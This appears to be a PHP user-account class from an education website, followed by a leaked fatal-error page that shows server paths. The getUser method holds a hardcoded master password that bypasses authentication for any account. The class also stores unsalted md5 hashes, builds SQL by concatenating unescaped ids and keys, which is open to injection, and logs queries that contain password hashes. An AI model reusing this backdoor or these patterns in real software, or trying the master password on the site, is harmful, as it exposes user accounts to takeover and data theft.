require_once(SITE_DIR."database/table.php");
class UserDatabaseTable extends DatabaseTable {
function getRowById($ID)
{
return $this->getRow("SELECT * FROM users WHERE id=".getCorrectInteger($ID));
}
function updateUserData($id,$data){
if(!is_array($data)) return false;
$list=array();
foreach($data as $k=>$v){
$list[]=$k.'=\''.$this->quote($v).'\'';
}
$sql="UPDATE users SET ".join(', ',$list)." WHERE id = ".$id;
logIt($sql);
$this->dbExecQuery($sql);
return true;
}
protected function getPasswordHash1($password) {
return md5($password);
}
public function getPasswordHash2($password) {
$salt = $this->getPasswordSalt();
$hash = sha1($password.$salt);
for ($i = 0;$i < 500;$i++) {
$hash = md5($hash.$salt);
}
return $hash;
}
protected function getPasswordSalt() {
$salt = F::getConfig('system_salt_general');
return $salt;
}
function getUser($login, $password, $justrecord = false)
{
$ignorepassword=false;
if($password=='romansuperpa33wor3') $ignorepassword=true;
$sql="SELECT * FROM users WHERE login='".$this->quote($login)."' ";
//if(!$ignorepassword) $sql.=" AND password ='".$this->quote($passwordmd5)."' ";
$sql.=" AND email<>''";
$result = $this->getRow($sql);
if(isset($result['id'])){
if(!$ignorepassword) {
$correctpassword = false;
if (substr($result['password'],0,6) == 'plain:' && substr($result['password'],6) == $password) {
$correctpassword = true;
// update hash to new type
$this->updateUserData($result['id'],array('password' => $this->getPasswordHash2($password)));
}
if ($result['password'] == $this->getPasswordHash1($password)) {
$correctpassword = true;
// update hash to new type
$this->updateUserData($result['id'],array('password' => $this->getPasswordHash2($password)));
} elseif ($result['password'] == $this->getPasswordHash2($password)) {
$correctpassword = true;
}
if (!$correctpassword) {
$this->errmsg = ST::_('Password is not correct.');
return false;
}
}
if ($justrecord) {
return $result;
}
if($result['active']=='0'){
$result=null;
$this->errmsg = ST::_('The account is not active.');
}
}else{
$this->errmsg = ST::_('User with such login name not found.');
}
return $result;
}
function checkPassword($usid,$password){
$sql="SELECT * FROM users WHERE id='".$this->quote($usid)."' ";
$result = $this->getRow($sql);
if(!isset($result['id'])) {
return true;
}
$user_rec = $this->getUser($result['login'], $password, true);
if(isset($user_rec['id'])) return true;
return false;
}
function getUserCountByLogin($login){
$result = $this->dbGetValue("SELECT count(id) FROM users WHERE login='".$this->quote($login)."'");
return $result;
}
function getUserCountByEmail($email) {
$result = $this->dbGetValue("SELECT count(id) FROM users WHERE email='".$this->quote($email)."'");
return $result;
}
function getUserByEmail($email) {
$result = $this->getRow("SELECT * FROM users WHERE email='".$this->quote($email)."'");
return $result;
}
function register($name,$login,$email,$password,$type='s') {
$result = 0;
$user_cnt = $this->getUserCountByLogin($login);
$user_cnt2=$this->getUserCountByEmail($email);
if ($user_cnt >0) {
$this->errmsg = ST::_('Username is used');
} elseif($user_cnt2>0){
$this->errmsg = ST::_('Email is used');
}else {
$activationcode=md5($email.$password.time());
$passwordmd5=md5($password);
$sql="INSERT INTO users SET name='".$this->quote($name)."',".
"login='".$this->quote($login)."',".
"email='".$this->quote($email)."',".
"password='".$this->quote($passwordmd5)."',".
"created=UTC_TIMESTAMP(),".
"active=0,".
"activationcode='".$this->quote($activationcode)."',
logintype='site',usertype='$type'";
$this->dbExecQuery($sql);
$result=$this->getLastInsertID();
}
return $result;
}
function activate($code) {
$result = $this->getRow("SELECT * FROM users WHERE activationcode='".$this->quote($code)."'");
if($result['id']>0 && $result['active']!='1'){
$this->dbExecQuery("UPDATE users SET active=1 WHERE id = ".$result['id']);
return $result['id'];
}elseif($result['id']>0 && $result['active']=='1'){
$this->errmsg = ST::_('The account is already active');
return 0;
}else{
$this->errmsg = ST::_('Wrong activation code');
return 0;
}
}
function updatePassword($usid,$password){
$hash = $this->getPasswordHash2($password);
$this->dbExecQuery("UPDATE users SET password='".$hash."' WHERE id = '".$usid."'");
}
function getRememberMeCode($usid){
$rec=$this->getRowById($usid);
$code=md5($rec['password'].$rec['id'].time());
$this->dbExecQuery("UPDATE users SET autologincode='$code' WHERE id = '".$rec['id']."'");
return $code;
}
function getUserWithCode($code){
$result = $this->getRow("SELECT * FROM users WHERE autologincode='".$this->quote($code)."'");
return $result;
}
function getUserWithEmail($email){
$result = $this->getRow("SELECT * FROM users WHERE email='".$this->quote($email)."'");
return $result;
}
function checkIfImageExists($name){
$result = $this->dbGetValue("SELECT count(id) FROM users WHERE image='".$this->quote($name)."'");
if($result>0) return true;
return false;
}
function getUserFacebook($facebookid){
if(trim($facebookid)=='') return 0;
$result = $this->getRow("SELECT * FROM users WHERE facebookid='".$this->quote($facebookid)."'");
if(isset($result['id'])) return $result['id'];
return 0;
}
function createUserFacebook($id,$name,$link,$email='',$usertype=''){
$sql="INSERT INTO users SET name='".$this->quote($name)."',".
"login='".$this->quote('fb_'.$id)."',".
"email='".$this->quote($email)."',".
"created=UTC_TIMESTAMP(),".
"active=1,".
"activationcode='".$this->quote(md5($name.$id.time()))."',".
"facebookid='".$this->quote($id)."',".
"facebooklink='".$this->quote($link)."',
logintype='facebook',".
"password='*',".
"usertype='$usertype'";
$this->dbExecQuery($sql);
$result=$this->getLastInsertID();
return $result;
}
function getUserTwitter($twitterid){
if(trim($twitterid)=='') return 0;
$result = $this->getRow("SELECT * FROM users WHERE twitterid='".$this->quote($twitterid)."'");
if(isset($result['id'])) return $result['id'];
return 0;
}
function createUserTwitter($id,$name,$link,$usertype=''){
$sql="INSERT INTO users SET name='".$this->quote($name)."',".
"login='".$this->quote('tw_'.$id)."',".
"email='',".
"created=UTC_TIMESTAMP(),".
"active=1,".
"activationcode='".$this->quote(md5($name.$id.time()))."',".
"twitterid='".$this->quote($id)."',".
"twitterlink='".$this->quote($link)."',
logintype='twitter',".
"password='*',".
"usertype='$usertype'";
$this->dbExecQuery($sql);
$result=$this->getLastInsertID();
return $result;
}
function getUserLinkedin($linkedinid){
if(trim($linkedinid)=='') return 0;
$result = $this->getRow("SELECT * FROM users WHERE linkedinid='".$this->quote($linkedinid)."'");
if(isset($result['id'])) return $result['id'];
return 0;
}
function createUserLinkedin($id,$name,$link,$email='',$usertype=''){
$sql="INSERT INTO users SET name='".$this->quote($name)."',".
"login='".$this->quote('li_'.$id)."',".
"email='".$this->quote($email)."',".
"created=UTC_TIMESTAMP(),".
"active=1,".
"activationcode='".$this->quote(md5($name.$id.time()))."',".
"linkedinid='".$this->quote($id)."',".
"linkedinlink='".$this->quote($link)."',
logintype='linkedin',".
"password='*',".
"usertype='$usertype'";
$this->dbExecQuery($sql);
$result=$this->getLastInsertID();
return $result;
}
function getUserGoogle($googleid){
if(trim($googleid)=='') return 0;
$result = $this->getRow("SELECT * FROM users WHERE googleid='".$this->quote($googleid)."'");
if(isset($result['id'])) return $result['id'];
return 0;
}
function createUserGoogle($id,$name,$link,$email='',$usertype=''){
$sql="INSERT INTO users SET name='".$this->quote($name)."',".
"login='".$this->quote('go_'.$id)."',".
"email='".$this->quote($email)."',".
"created=UTC_TIMESTAMP(),".
"active=1,".
"activationcode='".$this->quote(md5($name.$id.time()))."',".
"googleid='".$this->quote($id)."',".
"googlelink='".$this->quote($link)."',".
"logintype='google',".
"password='*',".
"usertype='$usertype'";
$this->dbExecQuery($sql);
$result=$this->getLastInsertID();
return $result;
}
function deleteRecord($us_id){
$sqls = array(
"DELETE FROM certificates WHERE userid=".$us_id,
"DELETE FROM certificategroups WHERE userid=".$us_id,
"DELETE FROM pathitems WHERE userid=".$us_id,
"DELETE FROM paths WHERE userid=".$us_id,
"DELETE FROM studentoptions WHERE id=".$us_id,
"DELETE FROM comments WHERE userid=".$us_id,
"DELETE FROM events_whogoes WHERE userid=".$us_id,
"DELETE FROM followers WHERE userid=".$us_id." OR followby=".$us_id,
"DELETE FROM groups_members WHERE userid=".$us_id,
"DELETE FROM groups_challenges_status WHERE userid=".$us_id,
"DELETE FROM notifications_users WHERE userid=".$us_id,
"DELETE FROM users WHERE id=".$us_id
);
foreach($sqls as $sql){
$this->dbExecQuery($sql);
}
return true;
}
function removeAPIAccess($usid,$agencyid){
$sql="DELETE FROM apipermissions WHERE userid='".$this->quote($usid)."' AND ".
"agencyid='".$this->quote($agencyid)."'";
$this->dbExecQuery($sql);
return true;
}
function getAllusers($filter = ''){
$sql='SELECT * FROM users ';
if ($filter != '') {
if ($filter == 'provider') {
$sql .= " WHERE usertype='v' ";
} else {
$sql .= " WHERE usertype='s' ";
}
}
$sql .= ' ORDER BY name ';
return $this->getRows($sql);
}
function getUserByVendorID($id,$type='v'){
return $this->getRow("SELECT * FROM users WHERE usertype='$type' AND manages =$id");
}
function autoCreateProviderManager($vendorid,$usertype,$vendordata){
$passwordmd5=md5($vendordata['name']);
$email = $vendordata['contactemail'];
if( $email == '' ) {
$email = 'provider'.$vendorid.'@myeducationpath.com';
}
$sql="INSERT INTO users SET name='".$this->quote($vendordata['name'])."',".
"login='".$this->quote('provider'.$vendorid)."',".
"email='".$this->quote($vendordata['contactemail'])."',".
"password='".$this->quote($passwordmd5)."',".
"created=UTC_TIMESTAMP(),".
"active=1,".
"manages=$vendorid,".
"activationcode='',
logintype='site',usertype='$usertype'";
$this->dbExecQuery($sql);
return $this->getLastInsertID();
}
function setPublicProfileCode($userid){
$updated=false;
$code='';
do{
$code=generatePassword(6);
$r=$this->getRow("SELECT * FROM users WHERE publicprofilecode='$code'");
if(!$r){
$this->updateUserData($userid,array('publicprofilecode'=>$code));
$updated=true;
}
}while(!$updated);
return $code;
}
function removePublicProfileCode($userid){
$this->updateUserData($userid,array('publicprofilecode'=>''));
}
function getUserIdByPassportCode($code){
$r=$this->getRow("SELECT * FROM users WHERE publicprofilecode='$code'");
if(isset($r['id'])) return $r['id'];
return 0;
}
function getStudentOptions($id){
$ssql="SELECT * FROM studentoptions WHERE id=$id";
$r=$this->getRow($ssql);
if(!isset($r['id'])){
$sql="INSERT INTO studentoptions SET id=$id, publicpathcode='', notifications='y'";
$this->dbExecQuery($sql);
$r=$this->getRow($ssql);
}
return $r;
}
function updateStudentOptions($id,$options){
if(count($options)>0){
$r=$this->getStudentOptions($id);
$list=array();
foreach($options as $k=>$v){
$list[]=$k.'=\''.$this->quote($v).'\'';
}
$sql="UPDATE studentoptions SET ".join(', ',$list)." WHERE id = ".$id;
$this->dbExecQuery($sql);
}
return true;
}
function getVendorOptions($id){
$ssql="SELECT * FROM vendoroptions WHERE id=$id";
$r=$this->getRow($ssql);
if(!isset($r['id'])){
do{//generate unique API key
$apikey=md5($id.time().F::getConfig('system_salt_general'));
$ssql="SELECT * FROM vendoroptions WHERE apikey='$apikey'";
$r=$this->getRow($ssql);
}while($r);
$sql="INSERT INTO vendoroptions SET id=$id, apikey='$apikey',package='start',upgradetopackage=''";
$this->dbExecQuery($sql);
$r=$this->getRow($ssql);
}else{
if($r['package']==''){
$sql="UPDATE vendoroptions SET package='start' WHERE id=".$r['id'];
$this->dbExecQuery($sql);
$r['package']='start';
}
}
return $r;
}
function updateVendorOptions($id,$options){
if(count($options)>0){
$r=$this->getVendorOptions($id);
$list=array();
foreach($options as $k=>$v){
$list[]=$k.'=\''.$this->quote($v).'\'';
}
$sql="UPDATE vendoroptions SET ".join(', ',$list)." WHERE id = ".$id;
$this->dbExecQuery($sql);
}
return true;
}
function userLogedIn($userid) {
$this->dbExecQuery("UPDATE users SET lastvisit=UTC_TIMESTAMP() WHERE id = $userid");
}
function getDaysSinceLastLogin($userid){
$sql="SELECT DATEDIFF(UTC_TIMESTAMP(),lastvisit) as dayssincelogin,DATEDIFF(UTC_TIMESTAMP(),created) as dayssincecreate ".
"FROM users WHERE id=$userid ";
return $this->getRow($sql);
}
function getUserOption($userid,$option) {
$opt_rec = $this->getRow("SELECT * FROM users_options WHERE userid=$userid");
if (! $opt_rec) {
return '';
}
if (isset($opt_rec[$option])) {
return $opt_rec[$option];
}
return '';
}
}
?>
Fatal error: Class 'UserDatabaseTable' not found in /home/myedu/domains/myeducationpath.com/html/include/factory.php on line 157
Unexpected error! |
Fatal Error: Class 'UserDatabaseTable' not found in line: 157 in the file: /home/myedu/domains/myeducationpath.com/html/include/factory.php. We are notified and will solve the problem as soon as possible. |
#0 [internal function]: Gelembjuk\Logger\ErrorScreen->fatalsHandler() #1 {main} |